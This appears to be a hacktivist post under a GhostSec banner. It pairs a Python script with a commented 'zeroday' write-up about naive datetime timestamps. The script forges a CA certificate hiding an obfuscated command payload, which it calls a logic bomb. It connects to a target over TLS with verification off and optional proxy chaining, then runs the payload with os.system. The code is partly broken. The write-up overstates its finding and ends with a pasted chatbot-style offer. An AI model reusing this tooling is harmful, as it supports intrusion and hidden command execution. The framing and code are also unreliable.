iETF Spanked By GhostSec

import os
import ssl
import time
import base64
import socket
import datetime
import threading
import random
from urllib.parse import urlparse
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import ObjectIdentifier, NameOID
from asn1crypto.core import OctetString, Sequence
import socks
def xor_cipher(data, key=0x7A):
return ''.join(chr(b ^ key) for b in data)
def build_logic_bomb(trigger_phrase, command):
overflow = b"A" * 512
time_lock = datetime.datetime.utcnow().strftime("%H%M").encode()
bomb = overflow + b"|" + trigger_phrase.encode() + b"|" + time_lock + b"|" + command.encode()
return bomb
def add_padding(data, block_size=8, padding_byte=0x05):
pad_len = block_size - (len(data) % block_size)
return data + bytes([padding_byte] * pad_len)
def encode_asn1_payload(logic_bomb):
xorred = bytes(b ^ 0x7A for b in logic_bomb)
padded = add_padding(xorred, 8, 0x05)
encoded = base64.b64encode(padded)
return Sequence([OctetString(encoded)]).dump()
def forge_full_certificate(logic_bomb):
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"GhostOfThe7Seas")])
builder = x509.CertificateBuilder().subject_name(name).issuer_name(name).public_key(key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(x509.datetime.datetime.utcnow()).not_valid_after(x509.datetime.datetime.utcnow() + x509.datetime.timedelta(days=7))
builder = builder.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
builder = builder.add_extension(x509.SubjectKeyIdentifier.from_public_key(key.public_key()), critical=False)
builder = builder.add_extension(x509.AuthorityKeyIdentifier.from_issuer_public_key(key.public_key()), critical=False)
builder = builder.add_extension(x509.KeyUsage(digital_signature=True, key_encipherment=True, content_commitment=True, data_encipherment=True, key_agreement=True, key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False), critical=True)
builder = builder.add_extension(x509.ExtendedKeyUsage([x509.ExtendedKeyUsageOID.CLIENT_AUTH, x509.ExtendedKeyUsageOID.SERVER_AUTH]), critical=False)
oid_payload = ObjectIdentifier("1.3.6.1.4.1.99999.7.7.7.7")
asn1_payload = encode_asn1_payload(logic_bomb)
builder = builder.add_extension(x509.UnrecognizedExtension(oid=oid_payload, value=asn1_payload), critical=False)
cert = builder.sign(key, hashes.SHA256())
cert_pem = cert.public_bytes(serialization.Encoding.PEM)
key_pem = key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption())
return cert_pem, key_pem
def save_cert_key(cert_pem, key_pem):
with open("GhostOfThe7Seas_full.crt", "wb") as f:
f.write(cert_pem)
with open("GhostOfThe7Seas_full.key", "wb") as f:
f.write(key_pem)
def extract_and_trigger(cert_path):
with open(cert_path, "rb") as f:
cert = x509.load_pem_x509_certificate(f.read())
for ext in cert.extensions:
if ext.oid.dotted_string == "1.3.6.1.4.1.99999.7.7.7.7":
raw = Sequence.load(ext.value)[0].native
decoded = base64.b64decode(raw)
decoded = decoded.rstrip(b'\x05')
decoded = bytes(b ^ 0x7A for b in decoded)
parts = decoded.split(b"|")
if len(parts) == 4:
overflow, trigger_phrase, locked_time, cmd = parts
current = datetime.datetime.utcnow().strftime("%H%M").encode()
if trigger_phrase == b"SEADEAD7" and locked_time == current:
threading.Thread(target=delayed_exec, args=(cmd.decode(),)).start()
def delayed_exec(command):
delay = 7 + random.uniform(0, 3)
time.sleep(delay)
os.system(command)
def proxy_chain_socket(proxy_host, proxy_port, target_host, target_port):
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, proxy_host, proxy_port)
s.settimeout(10)
s.connect((target_host, target_port))
return s
def launch_tls_injection(target_host, target_port, cert_path, key_path, proxy=None):
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(certfile=cert_path, keyfile=key_path)
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
ctx.maximum_version = ssl.TLSVersion.TLSv1_3
sock = None
try:
if proxy:
sock = proxy_chain_socket(proxy[0], proxy[1], target_host, target_port)
else:
sock = socket.create_connection((target_host, target_port), timeout=10)
with ctx.wrap_socket(sock, server_hostname=target_host) as ssock:
req = b"POST /login HTTP/1.1\r\nHost: " + target_host.encode() + b"\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
ssock.sendall(req)
response = b""
while True:
data = ssock.recv(4096)
if not data:
break
response += data
if b"200 OK" in response:
extract_and_trigger(cert_path)
except Exception:
pass
finally:
if sock:
sock.close()
def parse_target_url(raw_url):
if not raw_url.startswith("http"):
raw_url = "https://" + raw_url
parsed = urlparse(raw_url)
domain = parsed.hostname
port = parsed.port or (443 if parsed.scheme == "https" else 80)
return domain, port
def main():
target_input = input().strip()
target_host, target_port = parse_target_url(target_input)
trigger_phrase = "SEADEAD7"
shell_cmd = "echo '[GhostSec Logic Bomb Triggered on TLS 200 OK]'"
logic_bomb = build_logic_bomb(trigger_phrase, shell_cmd)
cert_pem, key_pem = forge_full_certificate(logic_bomb)
save_cert_key(cert_pem, key_pem)
proxy = None
launch_tls_injection(target_host, target_port, "GhostOfThe7Seas_full.crt", "GhostOfThe7Seas_full.key", proxy=proxy)
if name == "main":
main()

# Next Zeroday To Be Released

# I discovered a practical, userland-origin vulnerability stemming from the use of Python’s datetime.datetime.utcnow() in unprivileged Android Termux environments. The vulnerability is not a bug in Python per se, but a systemic weakness that appears when naive (timezone-unaware) timestamps are produced in environments where the system clock can be manipulated or diverges from a trusted time source. When those naive timestamps are embedded into security artifacts (TLS certificates, signed tokens, nbf/exp claims, or log events), consuming systems that interpret or coerce the timestamps differently may accept artifacts outside of their intended validity windows, enabling premature acceptance, extended validity, replay, or forensic confusion. This SOC-style whitehat report documents the technical nature of the issue, demonstrates why Termux is a practical threat platform for this class of abuse, outlines detection and mitigation controls, and offers safe, defensible proof-of-concept (PoC) concepts and recommendations for remediation and monitoring.

# Python’s datetime.datetime.utcnow() returns a naive datetime object (no timezone metadata) that conventionally represents UTC, but contains no embedded zone or offset. Many systems and libraries accept naive datetimes and assume a zone, apply implicit conversions, or coerce them into local time. In heterogeneous environments this leads to interpretation drift: the same numeric timestamp can be taken to mean different absolute instants depending on the consumer’s assumptions. For security contexts where strict time semantics are required — certificate validity (notBefore/notAfter), token nbf/exp, short-lived session tokens, replay windows, and log timestamps used for correlation — ambiguous timestamps produce attackable gaps.

# Termux and similar unprivileged userland environments on Android inherit system time, but they also expose several practical avenues for an adversary to alter the local time view or create conditions where the time is not authoritative:

# • Lack of enforced NTP: Unlike hardened servers that enforce NTP/chrony with kernel protections, userland processes rely on the platform/system clock, which may be configurable or spoofable by unprivileged apps or through user settings.
# • Device mobility and timezone churn: Mobile devices frequently change timezones (air travel, manual setting) and vary in system configuration, increasing the chance of mismatched time interpretations.
# • Isolation from centralized time attestations: A Termux process cannot, by default, prove to remote verifiers that its local clock is accurate or NTP-synchronized.
# • Replication at scale: Attackers can generate many artifacts on a fleet of devices with intentionally skewed clocks to seed validation inconsistencies across distributed systems.

# Conceptual PoC outline (high level, no exploit code): an unprivileged Termux process creates a certificate-like artifact or signed token where notBefore/exp fields are populated via utcnow() (naive). If the artifact is consumed by two validators that treat naive timestamps differently (one assuming UTC, another applying local timezone or coercion), then the artifact’s acceptance can diverge. By manipulating the device clock prior to artifact creation (e.g., shifting forward to extend expiry, or backward to predate issuance), the attacker can cause validators to accept artifacts beyond their intended window or accept artifacts before a true issuance time. Similarly, logs stamped with naive UTCs created under manipulated clocks will produce inconsistent timelines when aggregated, hindering incident response and enabling obfuscation. This PoC is described conceptually to show how the time semantics failure is exploitable; it intentionally omits operational instructions, code, or step-by-step procedures.

# Practical abuse scenarios (illustrative, non-procedural)

# • Extended certificate validity: An attacker in userland skews the local clock forward before creating a certificate; systems that interpret the naive timestamp as UTC accept the certificate later than intended.
# • Premature acceptance: An attacker backdates a token/certificate, enabling its immediate acceptance by consumers that assume UTC while preventing detection by systems expecting monotonic issuance.
# • Token replay: Short-lived tokens signed with naive exp/nbf claims are validated differently across services, allowing tokens to be reused beyond their intended window on some endpoints.
# • Log poisoning and timeline confusion: Correlated events from multiple sources cannot be reliably ordered; investigators receive inconsistent timelines that conceal attacker activity or produce false negatives during automated correlation.

# The vulnerability enables attackers to subvert temporal controls that underpin authentication, authorization, and forensic accuracy. In the wild, this can manifest as unauthorized session persistence, bypassed revocation/expiry safeguards, log corruption that impedes incident response, and fragmented trust in automated token and certificate validation. The worst cases involve distributed systems where cross-site validation depends on consistent timestamp semantics; there, inconsistent acceptance behavior can permit persistent unauthorized access or erode confidence in security telemetry.

# This issue should be treated as a protocol and engineering hygiene problem: naive time semantics in security artifacts are a systemic risk, and userland platforms such as Termux materially increase the attack surface because they lack the time-attestation guarantees of hardened servers. For responsible disclosure, align with vendor processes: notify maintainers of affected code (libraries or services that generate security artifacts using naive datetimes), provide non-executable PoC descriptions (like those above), and recommend the timezone-aware replacements and server-side hardening steps outlined here. If you want, I can produce a short, redacted advisory template suitable for vendor/maintainer disclosure that focuses on remediation and detection without operational exploit details.